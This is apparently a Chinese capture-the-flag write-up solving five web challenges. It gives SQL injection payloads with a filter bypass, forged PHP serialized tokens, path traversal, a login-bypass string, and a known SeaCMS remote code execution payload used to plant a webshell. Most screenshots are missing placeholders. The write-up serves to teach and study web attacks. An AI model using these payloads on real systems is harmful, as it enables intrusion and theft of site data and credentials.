1.SQL

image.png

image.png

查看源代码:

image.png

题目告诉了我们SQL语句,下面是fuzz测试,发现:

过滤了:order select /**/

image.png

尝试通过大小写、双写、url编码、hex编码、char编码、内联注释绕过,均失败,接着fuzz,发现<>会被替换为空:

image.png

这个很关键,可以利用这个特性绕过过滤,如:sel<>ect

接下来就是常规思路,测试列数ord<>er by 3

image.png

发现列数为3,接着测试可利用回显列:

id=-1 union sel<>ect 1,2,3

image.png

暴库:id=-1 union sel<>ect 1,group_concat(schema_name),3 from information_schema.schemata

image.png

暴表:-1 union sel<>ect 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'sqli'

image.png

暴列:id=-1 union sel<>ect 1,group_concat(column_name),4 from information_schema.columns where table_name='info'

image.png

暴flag:-1 union sel<>ect 1,flAg_T5ZNdrm,4 from info

image.png


2.Login

image.png

image.png

题目只有一个登陆框,尝试SQL注入未成功,抓包分析未见异常,也没有发现源码泄露,查看源代码,发现用户名密码test1/test1,这里比较猥琐,test1/test1在注释很靠下的地方,不细心还真找不到:

image.png

登陆后:

image.png

在源代码中没有发现异常,抓包分析:

image.png

发现返回包头中,有一个字段show:0,尝试在发送包头中添加show:1

发现网页源代码:

image.png

代码信息如下:

image.png

分析一下代码,要输出flag,需要$login['user'] === 'ichunqiu'

$login = unserialize(gzuncompress(base64_decode($requset['token'])));

所以构造

image.png

image.png

token带入cookie中访问得到flag

image.png

 

3.象棋

image.png

打开题目真的是象棋:

image.png

看一下源代码,发现某个js文件比较奇怪:

image.png

正则匹配js/[abcmlyx]{2}ctf[0-9]{3}.js,爆破一波:

image.png

跑出来是myctf801.js

image.png


4.getflag

image.png

打开看看:

image.png

登录:

image.png

这里加了验证码,所以首先放弃爆破,这里的验证码要求md5的前6位等于某个值,因此可以尝试爆破,代码如下:

image.png

image.png

将跑出来的结果填入验证码框,同时尝试万能密码admin’ or 1# 进行登录

结果发现确实有注入,登录成功,登录后发现有3个文件可以下载

image.png

下载下来看看,其中a.php告诉我们flag在根目录下:

image.png

Ok,尝试利用相对路径../flag.php访问:

image.png

提示flag{wow!!!but not true},经过测试,这里应该是过滤了../,所以换成绝对路径试一下:

GET /Challenges/file/download.php?f=/var/www/html/Challenges/flag.php

image.png

的确可以访问,并且泄露了flag.php源代码:

image.png

代码的意思通过eval("\$spaceone = $f"); $f赋值给$spaceone,如果$spaceone’flag’,则显示helloctf.php的值。这里直接尝试下载helloctf.php,提示error,看来是做了过滤,老老实实按照flag.php的要求做吧。

直接尝试post flag=flag,没有返回helloctf.php的值,按道理直接赋值flag就可以回显的,于是本地做了一下实验:

image.png

跑一下

image.png

提示syntax error,原来是少了分号,改一下,将flag=”flag;”

image.png

再跑一下:

image.png

果然成功了,因此post flag=flag;

image.png

image.png


5.test

image.png

image.png

发现时海洋cms,于是搜索海洋cms的漏洞,找到前台getshellpayload

?searchtype=5&tid=&area=eval($_POST[1])

直接用菜刀连接:

image.png

找了一圈没有发现flag文件,尝试从数据库中找flag,在data/common.inc.php找到数据库的配置信息:

image.png

配置菜刀:

image.png

flag表中找到flag

image.png

源链接

Hacking more

...